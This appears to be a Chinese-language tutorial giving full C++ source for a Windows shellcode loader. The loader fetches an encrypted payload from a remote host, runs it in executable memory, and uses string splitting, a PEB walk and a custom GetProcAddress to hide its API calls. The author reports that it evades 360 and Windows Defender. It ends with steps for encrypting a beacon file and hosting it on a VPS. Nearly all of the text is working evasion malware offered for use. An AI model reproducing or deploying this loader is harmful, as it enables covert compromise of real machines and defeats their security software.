{void* axac;int payload_len = 500000; //shellcode大小 string enhost = "nlwJ3dl9R+5otLOXHiZ6xxxx"; //远程下载的主机的ipstring dehost = DecryptionAES(enhost);// 将 std::string 转换为宽字符串 LPCWSTRint hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);LPWSTR hostLPCWSTR = new WCHAR[hostLen];MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);WORD port = 8000; //端口string enpath = "EkYwlGs7z8OzXAEs7rszZA=="; //对应的文件string depath = DecryptionAES(enpath);// 将 std::string 转换为宽字符串 LPCWSTRint pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);LPWSTR pathLPCWSTR = new WCHAR[pathLen];MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);HINTERNET session;HINTERNET conn;HINTERNET reqfile;DWORD nread;char xyVAc[] = { 'V','i','r','t','u','a','l','A','l','l','o','c',0 };VirtualAllocT pVAc = (VirtualAllocT)CustomGetProcAddress(LoadLibrary(L"kernel32.dll"), xyVAc);axac = pVAc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//exec = VirtualAlloc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); //申请内存 1//使用默认设置创建会话char xyIto[] = { 'I','n','t','e','r','n','e','t','O','p','e','n','W',0 };InternetOpenW_T pItO = (InternetOpenW_T)CustomGetProcAddress(LoadLibrary(L"wininet.dll"), xyIto);//session = InternetOpen(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0); 2session = pItO(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);//连接到目标主机char xyItC[] = { 'I','n','t','e','r','n','e','t','C','o','n','n','e','c','t','W',0 };InternetConnectW_T pItC = (InternetConnectW_T)CustomGetProcAddress(LoadLibrary(L"wininet.dll"), xyItC);//conn = InternetConnect(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0); 3conn = pItC(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);//创建请求char xyHOR[] = { 'H','t','t','p','O','p','e','n','R','e','q','u','e','s','t','W',0 };HttpOpenRequestW_T pHOR = (HttpOpenRequestW_T)CustomGetProcAddress(LoadLibrary(L"wininet.dll"), xyHOR);//reqfile = HttpOpenRequest(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0); 4reqfile = pHOR(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);//发送请求并读取响应char xyHSR[] = { 'H','t','t','p','S','e','n','d','R','e','q','u','e','s','t','W',0 };HttpSendRequestW_T pHSR = (HttpSendRequestW_T)CustomGetProcAddress(LoadLibrary(L"wininet.dll"), xyHSR);//HttpSendRequest(reqfile, NULL, 0, 0, 0); 5pHSR(reqfile, NULL, 0, 0, 0);char xyIRF[] = { 'I','n','t','e','r','n','e','t','R','e','a','d','F','i','l','e',0 };InternetReadFile_T pIRF = (InternetReadFile_T)CustomGetProcAddress(LoadLibrary(L"wininet.dll"), xyIRF);//InternetReadFile(reqfile, exec, payload_len, &nread); 6pIRF(reqfile, axac, payload_len, &nread);// Convert the vector to Base64-encoded stringstd::string AESEncodedContent(reinterpret_cast<const char*>(axac), nread);std::string base64DecodedContent;//base64EncodedContent = ko::Base64::encode(base64EncodedContent);string AESDecodedContent = DecryptionAES(AESEncodedContent);base64DecodedContent = ko::Base64::decode(AESDecodedContent);//void* alloc = VirtualAlloc(NULL, base64DecodedContent.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);void* elloc = pVAc(NULL, base64DecodedContent.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (elloc == nullptr) {std::cerr << "Failed to allocate memory." << std::endl;return 1;}// Copy decoded content to allocated memorymemcpy(elloc, base64DecodedContent.data(), base64DecodedContent.size());// Execute the allocated contentvoid (*shellcode)() = reinterpret_cast<void(*)()>(elloc);shellcode();// Free the allocated memoryVirtualFree(elloc, 0, MEM_RELEASE);//((void(*)())exec)();//Save the Base64-encoded content to a file//std::ofstream outFile("base64_encoded_content.txt", std::ios::out);//outFile << base64EncodedContent;//outFile.close();//关闭所有句柄InternetCloseHandle(reqfile);InternetCloseHandle(conn);InternetCloseHandle(session);
}
接下来我们把敏感函数规避下,还有内存方面的规避,还有虚拟机的检测
敏感函数规避
LoadLibrary(L"kernel32.dll")改成getKernel32Address
使用于x64机器下
那么接下来我们把LoadLibrary(L"wininet.dll")也换掉
HMODULE getWininetAddress()
{HMODULE hWininet = nullptr;// 获取模块句柄hWininet = GetModuleHandle(L"wininet.dll");return hWininet;
}
成功上线,这里过的是360安全卫士,我们看看360杀毒效果咋样
360杀毒软件和360安全卫士静态扫描加上线全过了
完整代码
// ConsoleApplication9.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//#include <iostream>
#include <Windows.h>
#include <wininet.h>
#include "base64.h"
#include "AES.h"
#include <vector>
#include <fstream>
#include "need.h"extern "C" PVOID64 _cdecl GetPeb();
using namespace std;#pragma comment(lib,"wininet")
#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")typedef LPVOID(WINAPI* VirtualAllocT)(_In_opt_ LPVOID lpAddress,_In_ SIZE_T dwSize,_In_ DWORD flAllocationType,_In_ DWORD flProtect);typedef HINTERNET(WINAPI* InternetOpenW_T)(_In_opt_ LPCWSTR lpszAgent,_In_ DWORD dwAccessType,_In_opt_ LPCWSTR lpszProxy,_In_opt_ LPCWSTR lpszProxyBypass,_In_ DWORD dwFlags);typedef HINTERNET(WINAPI* InternetConnectW_T)(_In_ HINTERNET hInternet,_In_ LPCWSTR lpszServerName,_In_ INTERNET_PORT nServerPort,_In_opt_ LPCWSTR lpszUserName,_In_opt_ LPCWSTR lpszPassword,_In_ DWORD dwService,_In_ DWORD dwFlags,_In_opt_ DWORD_PTR dwContext);typedef HINTERNET(WINAPI* HttpOpenRequestW_T)(_In_ HINTERNET hConnect,_In_opt_ LPCWSTR lpszVerb,_In_opt_ LPCWSTR lpszObjectName,_In_opt_ LPCWSTR lpszVersion,_In_opt_ LPCWSTR lpszReferrer,_In_opt_z_ LPCWSTR FAR* lplpszAcceptTypes,_In_ DWORD dwFlags,_In_opt_ DWORD_PTR dwContext);typedef HINTERNET(WINAPI* HttpSendRequestW_T)(_In_ HINTERNET hRequest,_In_reads_opt_(dwHeadersLength) LPCWSTR lpszHeaders,_In_ DWORD dwHeadersLength,_In_reads_bytes_opt_(dwOptionalLength) LPVOID lpOptional,_In_ DWORD dwOptionalLength);typedef HINTERNET(WINAPI* InternetReadFile_T)(_In_ HINTERNET hFile,_Out_writes_bytes_(dwNumberOfBytesToRead) __out_data_source(NETWORK) LPVOID lpBuffer,_In_ DWORD dwNumberOfBytesToRead,_Out_ LPDWORD lpdwNumberOfBytesRead);HMODULE getKernel32Address()
{PVOID64 Peb = GetPeb();PVOID64 LDR_DATA_Addr = *(PVOID64**)((BYTE*)Peb + 0x018); //0x018是LDR相对于PEB偏移 存放着LDR的基地址UNICODE_STRING* FullName;HMODULE hKernel32 = NULL;LIST_ENTRY* pNode = NULL;pNode = (LIST_ENTRY*)(*(PVOID64**)((BYTE*)LDR_DATA_Addr + 0x30)); //偏移到InInitializationOrderModuleListwhile (true){FullName = (UNICODE_STRING*)((BYTE*)pNode + 0x38);//BaseDllName基于InInitialzationOrderModuList的偏移if (*(FullName->Buffer + 12) == '\0'){hKernel32 = (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10)));//DllBasebreak;}pNode = pNode->Flink;}return hKernel32;
}//HMODULE getWininetAddress()
//{
// PVOID64 Peb = GetPeb();
// PVOID64 LDR_DATA_Addr = *(PVOID64*)((BYTE*)Peb + 0x018); // 0x018 是 LDR 相对于 PEB 的偏移,存放着 LDR 的基地址
// UNICODE_STRING* FullName;
// HMODULE hWininet = nullptr;
// LIST_ENTRY* pNode = nullptr;
// pNode = (LIST_ENTRY*)(*(PVOID64*)((BYTE*)LDR_DATA_Addr + 0x30)); // 偏移到 InInitializationOrderModuleList
// while (true)
// {
// FullName = (UNICODE_STRING*)((BYTE*)pNode + 0x38); // BaseDllName 基于 InInitializationOrderModuList 的偏移
// if (wcsstr(FullName->Buffer, L"wininet.dll") != nullptr)
// {
// hWininet = (HMODULE)(*((ULONG64*)((BYTE*)pNode + 0x10))); // DllBase
// break;
// }
// pNode = pNode->Flink;
// }
// return hWininet;
//}HMODULE getWininetAddress()
{HMODULE hWininet = nullptr;// 获取模块句柄hWininet = GetModuleHandle(L"wininet.dll");return hWininet;
}FARPROC CustomGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {// Get the address of the module's PE headerBYTE* pImageBase = (BYTE*)hModule;IMAGE_DOS_HEADER* pDosHeader = (IMAGE_DOS_HEADER*)pImageBase;IMAGE_NT_HEADERS64* pNtHeaders = (IMAGE_NT_HEADERS64*)(pImageBase + pDosHeader->e_lfanew);// Get the address of the export directoryIMAGE_DATA_DIRECTORY exportDirectory = pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];IMAGE_EXPORT_DIRECTORY* pExportDir = (IMAGE_EXPORT_DIRECTORY*)(pImageBase + exportDirectory.VirtualAddress);DWORD* pAddressOfFunctions = (DWORD*)(pImageBase + pExportDir->AddressOfFunctions);WORD* pAddressOfNameOrdinals = (WORD*)(pImageBase + pExportDir->AddressOfNameOrdinals);DWORD* pAddressOfNames = (DWORD*)(pImageBase + pExportDir->AddressOfNames);for (DWORD i = 0; i < pExportDir->NumberOfNames; ++i) {LPCSTR pName = (LPCSTR)(pImageBase + pAddressOfNames[i]);if (strcmp(lpProcName, pName) == 0) {WORD ordinal = pAddressOfNameOrdinals[i];DWORD functionRVA = pAddressOfFunctions[ordinal];FARPROC pFunction = (FARPROC)(pImageBase + functionRVA);return pFunction;}}return NULL;
}//AES的key和iv
const char g_key[17] = "asdfwetyhjuytrfd";
const char g_iv[17] = "gfdertfghjkuyrtg";//ECB MODE不需要关心chain,可以填空
string DecryptionAES(const string& strSrc) //AES解密
{string strData = ko::Base64::decode(strSrc);size_t length = strData.length();//密文char* szDataIn = new char[length + 1];memcpy(szDataIn, strData.c_str(), length + 1);//明文char* szDataOut = new char[length + 1];memcpy(szDataOut, strData.c_str(), length + 1);//进行AES的CBC模式解密AES aes;aes.MakeKey(g_key, g_iv, 16, 16);aes.Decrypt(szDataIn, szDataOut, length, AES::CBC);//去PKCS7Padding填充if (0x00 < szDataOut[length - 1] <= 0x16){int tmp = szDataOut[length - 1];for (int i = length - 1; i >= length - tmp; i--){if (szDataOut[i] != tmp){memset(szDataOut, 0, length);cout << "去填充失败!解密出错!!" << endl;break;}elseszDataOut[i] = 0;}}string strDest(szDataOut);delete[] szDataIn;delete[] szDataOut;return strDest;
}int key[] = { 1,2,3,4,5,6,7 };int main()
{void* axac;int payload_len = 500000; string enhost = "nlwJ3dl9R+5otLOXHiZ6xxxx"; //远程下载的主机的ipstring dehost = DecryptionAES(enhost);int hostLen = MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, NULL, 0);LPWSTR hostLPCWSTR = new WCHAR[hostLen];MultiByteToWideChar(CP_UTF8, 0, dehost.c_str(), -1, hostLPCWSTR, hostLen);WORD port = 8000; string enpath = "EkYwlGs7z8OzXAEs7rszZA=="; //对应的文件string depath = DecryptionAES(enpath);int pathLen = MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, NULL, 0);LPWSTR pathLPCWSTR = new WCHAR[pathLen];MultiByteToWideChar(CP_UTF8, 0, depath.c_str(), -1, pathLPCWSTR, pathLen);HINTERNET session;HINTERNET conn;HINTERNET reqfile;DWORD nread;char xyVAc[] = { 'V','i','r','t','u','a','l','A','l','l','o','c',0 };VirtualAllocT pVAc = (VirtualAllocT)CustomGetProcAddress((HMODULE)getKernel32Address(), xyVAc);axac = pVAc(0, payload_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);//使用默认设置创建会话char xyIto[] = { 'I','n','t','e','r','n','e','t','O','p','e','n','W',0 };InternetOpenW_T pItO = (InternetOpenW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyIto);session = pItO(L"Mozilla/4.0", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);//连接到目标主机char xyItC[] = { 'I','n','t','e','r','n','e','t','C','o','n','n','e','c','t','W',0 };InternetConnectW_T pItC = (InternetConnectW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyItC);conn = pItC(session, hostLPCWSTR, port, L"", L"", INTERNET_SERVICE_HTTP, 0, 0);//创建请求char xyHOR[] = { 'H','t','t','p','O','p','e','n','R','e','q','u','e','s','t','W',0 };HttpOpenRequestW_T pHOR = (HttpOpenRequestW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyHOR);reqfile = pHOR(conn, L"GET", pathLPCWSTR, NULL, NULL, NULL, 0, 0);//发送请求并读取响应char xyHSR[] = { 'H','t','t','p','S','e','n','d','R','e','q','u','e','s','t','W',0 };HttpSendRequestW_T pHSR = (HttpSendRequestW_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyHSR);pHSR(reqfile, NULL, 0, 0, 0);char xyIRF[] = { 'I','n','t','e','r','n','e','t','R','e','a','d','F','i','l','e',0 };InternetReadFile_T pIRF = (InternetReadFile_T)CustomGetProcAddress((HMODULE)getWininetAddress(), xyIRF);pIRF(reqfile, axac, payload_len, &nread);std::string AESEncodedContent(reinterpret_cast<const char*>(axac), nread);std::string base64DecodedContent;string AESDecodedContent = DecryptionAES(AESEncodedContent);base64DecodedContent = ko::Base64::decode(AESDecodedContent);void* elloc = pVAc(NULL, base64DecodedContent.size(), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (elloc == nullptr) {std::cerr << "Failed to allocate memory." << std::endl;return 1;}memcpy(elloc, base64DecodedContent.data(), base64DecodedContent.size());void (*shellcode)() = reinterpret_cast<void(*)()>(elloc);shellcode();VirtualFree(elloc, 0, MEM_RELEASE);//关闭所有句柄InternetCloseHandle(reqfile);InternetCloseHandle(conn);InternetCloseHandle(session);
}
更新到最新病毒库
可以看到没问题的
Windows defender试试
总共的手法又
1.请求的url进行了aes加密
2.远端的shellcode进行了先base64加密,再进行aes加密
3.导出表隐藏做了字符串打散,和自定义函数结构体(相当于重写改名)
4.进行了library的改写,通过改写成在x64下获得kernel32.dll和wininet.dll分别对照getKernel32Address函数和getWininetAddress函数
5.进行了GetProcAddress函数的改写,对照函数CustomGetProcAddress
项目使用,先base64编译bin文件,然后aes编译生成的a.txt文件
test.txt是base64加密beacon811.bin的文件
aesencode.txt是aes加密test.txt后的文件
将aesencode.txt放到vps上
开启python3 -m http.server